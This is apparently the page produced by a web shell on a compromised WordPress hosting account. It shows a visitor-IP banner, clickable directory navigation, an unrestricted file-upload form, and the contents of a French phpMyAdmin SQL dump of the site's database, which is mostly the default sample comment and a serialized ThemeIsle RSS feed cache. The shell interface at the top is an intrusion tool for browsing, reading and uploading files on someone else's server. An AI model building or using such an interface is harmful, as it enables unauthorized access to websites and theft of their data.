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<hr width="920" color="black"/>
<hr width="920" color="black"/><center><p><h2>Your IP : 216.73.216.162</h2></p></center>
<hr width="920" color="black"/>
<table width="920" border="1px" cellpadding="7" cellspacing="0" align="center">
<tr><td style="padding: 8px">Current Path : <a href="?path=/">/</a><a href="?path=/home">home</a>/<a href="?path=/home/x">x</a>/<a href="?path=/home/x/b">b</a>/<a href="?path=/home/x/b/o">o</a>/<a href="?path=/home/x/b/o/xbodynamge">xbodynamge</a>/<a href="?path=/home/x/b/o/xbodynamge/crosstraining">crosstraining</a>/<a href="?path=/home/x/b/o/xbodynamge/crosstraining/reservation">reservation</a>/<a href="?path=/home/x/b/o/xbodynamge/crosstraining/reservation/db">db</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
</td></tr><tr><td style='padding: 8px'>Current File : /home/x/b/o/xbodynamge/crosstraining/reservation/db/crosstramsql(3).sql</tr></td></table><br /><pre>-- phpMyAdmin SQL Dump
-- version 4.7.3
-- https://www.phpmyadmin.net/
--
-- Hôte : crosstramsql.mysql.db
-- Généré le :  mar. 27 août 2019 à 17:28
-- Version du serveur :  5.6.42-log
-- Version de PHP :  5.6.40-0+deb8u2

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--
-- Base de données :  `crosstramsql`
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-- --------------------------------------------------------

--
-- Structure de la table `ct_commentmeta`
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CREATE TABLE `ct_commentmeta` (
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) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `ct_comments`
--

CREATE TABLE `ct_comments` (
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  `comment_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
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  `user_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0'
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--
-- Déchargement des données de la table `ct_comments`
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INSERT INTO `ct_comments` (`comment_ID`, `comment_post_ID`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_author_IP`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES
(1, 1, 'Un commentateur WordPress', 'wapuu@wordpress.example', 'https://wordpress.org/', '', '2018-09-02 15:27:07', '2018-09-02 13:27:07', 'Bonjour, ceci est un commentaire.\nPour débuter avec la modération, la modification et la suppression de commentaires, veuillez visiter l’écran des Commentaires dans le Tableau de bord.\nLes avatars des personnes qui commentent arrivent depuis &lt;a href=\&quot;https://gravatar.com\&quot;&gt;Gravatar&lt;/a&gt;.', 0, '1', '', '', 0, 0);

-- --------------------------------------------------------

--
-- Structure de la table `ct_links`
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-- --------------------------------------------------------

--
-- Structure de la table `ct_options`
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--
-- Déchargement des données de la table `ct_options`
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While focusing on quality content should be your number-one priority, you might also want to increase its chances of going big. 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After having exciting conversations with remarkable people throughout the whole year, we&amp;#8217;re ready to finish things out with a talk with Alex Denning about marketing (and everything it entails). If you want to check out all our interviews from 2018, you can find them...&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog/alex-denning-interview-on-marketing-and-wordpress/\&quot;&gt;Alex Denning Interview &amp;#8211; &amp;#8220;A marketing agency that wasn&amp;#8217;t very popular with clients would not be a very good marketing agency&amp;#8221;&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog\&quot;&gt;ThemeIsle Blog&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Adelina Tuca\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:82:\&quot;https://themeisle.com/blog/alex-denning-interview-on-marketing-and-wordpress/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:39:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:82:\&quot;7 Great News Aggregator Websites You Should Check Out (Plus How to Build Your Own)\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:61:\&quot;https://themeisle.com/blog/news-aggregator-websites-examples/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:69:\&quot;https://themeisle.com/blog/news-aggregator-websites-examples/#respond\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 24 Dec 2018 10:25:46 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Resources\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:19:\&quot;WordPress Tutorials\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;https://themeisle.com/blog/?p=17529\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:619:\&quot;&lt;p&gt;Let&amp;#8217;s agree that the information age can be overwhelming without news aggregator websites. Not only is there a lot of information in total, but it is also scattered all over the web. In order to save time, you can bring all of the news, updates, insights, tips, guides, articles into one location with content aggregators....&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog/news-aggregator-websites-examples/\&quot;&gt;7 Great News Aggregator Websites You Should Check Out (Plus How to Build Your Own)&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog\&quot;&gt;ThemeIsle Blog&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Chris Fitzgerald\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:66:\&quot;https://themeisle.com/blog/news-aggregator-websites-examples/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:39:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:54:\&quot;What Is WebP? Plus How to Use WebP Images in WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;https://themeisle.com/blog/what-is-webp/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:48:\&quot;https://themeisle.com/blog/what-is-webp/#respond\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 20 Dec 2018 08:39:10 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Resources\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;https://themeisle.com/blog/?p=19722\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:558:\&quot;&lt;p&gt;WebP is a web image format developed by Google that can offer smaller image file sizes at a similar level of quality to existing image formats. In this post, we&amp;#8217;ll dig further into the question of &amp;#8220;what is WebP?&amp;#8221; and share more about the format. What is WebP? Explained in more detail When it comes...&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog/what-is-webp/\&quot;&gt;What Is WebP? Plus How to Use WebP Images in WordPress&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog\&quot;&gt;ThemeIsle Blog&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;John Hughes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://themeisle.com/blog/what-is-webp/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:36:\&quot;\n		\n		\n		\n		\n		\n				\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:68:\&quot;How to Take a Screenshot on a Windows and Mac Computer: Step-by-Step\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:57:\&quot;https://themeisle.com/blog/how-to-screenshot-on-computer/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:65:\&quot;https://themeisle.com/blog/how-to-screenshot-on-computer/#respond\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Dec 2018 09:37:32 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Resources\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;https://themeisle.com/blog/?p=20586\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:629:\&quot;&lt;p&gt;If you&amp;#8217;re Googling phrases like “how to screenshot on computer”, you&amp;#8217;re probably stuck in that unfortunate situation where you want to take a screenshot of something on your computer but you don&amp;#8217;t know quite how to do that. Then, we&amp;#8217;ll also share some good third-party screenshot tools and how to upload the screenshots that you...&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog/how-to-screenshot-on-computer/\&quot;&gt;How to Take a Screenshot on a Windows and Mac Computer: Step-by-Step&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog\&quot;&gt;ThemeIsle Blog&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;Bill Widmer\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:62:\&quot;https://themeisle.com/blog/how-to-screenshot-on-computer/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:36:\&quot;\n		\n		\n		\n		\n		\n				\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:65:\&quot;Gutenberg Block Editor vs Elementor vs Divi Builder: A Comparison\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:79:\&quot;https://themeisle.com/blog/gutenberg-block-editor-vs-elementor-vs-divi-builder/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:87:\&quot;https://themeisle.com/blog/gutenberg-block-editor-vs-elementor-vs-divi-builder/#respond\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 18 Dec 2018 09:53:13 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Page Builders\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;https://themeisle.com/blog/?p=20064\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:616:\&quot;&lt;p&gt;With the release of the new block editor in WordPress 5.0 (aka Gutenberg), you may be questioning whether it will replace plugins that provide similar visual content building functionality. That is, when it comes to the Gutenberg block editor vs Elementor vs Divi Builder, how do the tools compare and which one is right for...&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog/gutenberg-block-editor-vs-elementor-vs-divi-builder/\&quot;&gt;Gutenberg Block Editor vs Elementor vs Divi Builder: A Comparison&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://themeisle.com/blog\&quot;&gt;ThemeIsle Blog&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;John Hughes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:84:\&quot;https://themeisle.com/blog/gutenberg-block-editor-vs-elementor-vs-divi-builder/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:36:\&quot;\n		\n		\n		\n		\n		\n				\n\n		\n		\n		\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:66:\&quot;WordPress Favicon Guide: How to Create One and Add It to Your Site\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://themeisle.com/blog/wordpress-favicon/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:53:\&quot;https://themeisle.com/blog/wordpress-favicon/#respond\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 17 Dec 2018 10:10:42 